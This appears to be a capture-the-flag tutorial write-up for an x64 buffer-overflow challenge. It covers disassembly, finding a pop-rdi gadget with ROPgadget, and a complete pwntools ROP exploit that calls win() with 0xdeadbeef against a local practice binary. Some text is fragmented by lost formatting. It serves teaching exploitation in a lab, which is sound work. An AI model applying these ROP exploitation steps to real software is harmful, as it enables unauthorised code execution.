This challenge will prove to be identical to the last one. In this case, x64
does not recognize the difference between Artificial Jumps and Natural Jumps since we load these arguments into registers rather than right onto the stack with the return addresses.
Because of this indifference, we'll follow the same exploit track.
0x000000000040119c <+23>: lea rax,[rbp-0x30] 0x00000000004011a0 <+27>: mov edx,0x60 0x00000000004011a5 <+32>: mov rsi,rax 0x00000000004011a8 <+35>: mov edi,0x0 0x00000000004011ad <+40>: call 0x401050 <read@plt>
From here, we see that it would take 0x38
bytes to overflow the buffer.
Checking the disassembly of win()
, we see we need to load the first parameter with 0xdeadbeef
:
0x0000000000401157 <+8>: mov DWORD PTR [rbp-0x4],edi 0x000000000040115a <+11>: cmp DWORD PTR [rbp-0x4],0xdeadbeef 0x0000000000401161 <+18>: je 0x401174 <win+37>
Therefore, we at least need a gadget that loads rdi
. We can find this with ROPgadget
:
ROPgadget --binary chall --only "pop|ret" | grep rdi 0x000000000040114a : pop rdi ; ret
From here, we need the payload to be in the following order:
pop rdi
gadget0xdeadbeef
on the stack to be loaded into rdi
win()
.This makes the payload look like this:
payload = b'A' * 0x38 payload += p64(0x40114a) # address of 'pop rdi' gadget payload += p64(0xdeadbeef) # value to fill rdi payload += p64(0x40114f) # address of win
flat()
function. This requires context.binary
(or, more specifically, context.word_size
) to be set. This might look like the following.elf = context.binary = ELF('./chall') payload = flat(b'A' * 0x38, 0x40114a, 0xdeadbeef, 0x40114f)
flat()
keeps byte-strings the way they are (i.e., the buffer overflow) and then packs the remaining integers based on the context.word_size
set.
This payload should successfully give us a flag!
MOVAPS
instruction. If you don't remember this, check out Buffer Overflows Practice 1.Combining all this, we have a full exploit.
from pwn import * p = process('./chall') g_popRdi = 0x40114a g_ret = 0x401016 f_win = 0x40114f payload = b'A' * 0x38 payload += p64(g_ret) payload += p64(g_popRdi) payload += p64(0xdeadbeef) payload += p64(f_win) p.sendline(payload) p.interactive()
rdi
with cat flag.txt
and jumping directly to the system@plt
call inside win
. Feel free to try this yourself!